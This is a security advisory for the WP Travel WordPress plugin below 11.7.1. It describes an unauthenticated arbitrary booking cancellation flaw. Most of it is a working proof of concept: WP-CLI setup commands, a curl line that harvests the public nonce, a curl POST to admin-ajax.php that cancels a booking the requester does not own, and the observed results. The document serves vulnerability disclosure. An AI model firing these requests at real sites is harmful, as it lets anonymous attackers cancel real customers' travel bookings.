WP Travel < 11.7.1 – Unauthenticated Arbitrary Booking Cancellation | CVE 2026-11868

Description

The plugin does not perform capability or ownership checks on its booking cancellation action, which is also exposed to unauthenticated users, allowing them to cancel arbitrary bookings on the site.

Proof of Concept

# Verified on a clean WordPress 6.8 install with only WP Travel 11.7.0 activated (no other plugins, no configuration). $SITE = the target base URL.
# On a production site the attacker targets real bookings, which already carry all required meta from WP Travel's normal checkout. For a
# self-contained clean-room repro, seed one admin-owned booking via WP-CLI:

# Seed a victim booking owned by the administrator (status pending, travel date 30 days out).
VT=$(wp post create --post_title='VictimBooking' --post_status=publish --porcelain)
wp post meta update "$VT" wp_travel_arrival_date "$(date -d '+30 days' '+%Y-%m-%d')"
wp post meta update "$VT" wp_travel_booking_status pending
wp eval "update_post_meta($VT,'wp_travel_fname_traveller',array('a'=>array('John')));
         update_post_meta($VT,'wp_travel_lname_traveller',array('a'=>array('Doe')));"
wp post meta get "$VT" wp_travel_booking_status        # -> pending

# ATTACKER is anonymous: no cookies, no account. Harvest the public nonce from any page:
NONCE=$(curl -s "$SITE/" | grep -oE '"_nonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{8,}')

# Fire the cancellation against the admin-owned booking, fully unauthenticated:
curl -s "$SITE/wp-admin/admin-ajax.php" --data "action=wp_travel_cancel_booking&security=$NONCE&booking_id=$VT"     

# -> HTTP 200

# Confirm the victim booking is now cancelled by someone who never owned it:
wp post meta get "$VT" wp_travel_booking_status        

# -> canceled

# Negative control (proves the nonce is required - not a no-op):
VC=$(wp post create --post_title=Ctrl --post_status=publish --porcelain)
wp post meta update "$VC" wp_travel_arrival_date "$(date -d '+30 days' '+%Y-%m-%d')"
wp post meta update "$VC" wp_travel_booking_status pending
wp eval "update_post_meta($VC,'wp_travel_fname_traveller',array('a'=>array('X')));
         update_post_meta($VC,'wp_travel_lname_traveller',array('a'=>array('Y')));"
curl -s "$SITE/wp-admin/admin-ajax.php" --data "action=wp_travel_cancel_booking&security=BADNONCE&booking_id=$VC"
wp post meta get "$VC" wp_travel_booking_status        

# -> pending (blocked)

# Observed on the clean-install run (2026-06-09):
# BEFORE = pending ; nonce harvested from "/" = 23a853a4e4 ; exploit response = HTTP 200 ; AFTER = canceled ; negative control (bad nonce) = pending